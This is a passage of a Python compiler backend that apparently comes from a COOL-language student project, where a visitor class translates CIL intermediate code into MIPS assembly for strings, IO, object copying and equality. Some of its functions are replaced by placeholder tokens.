8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n 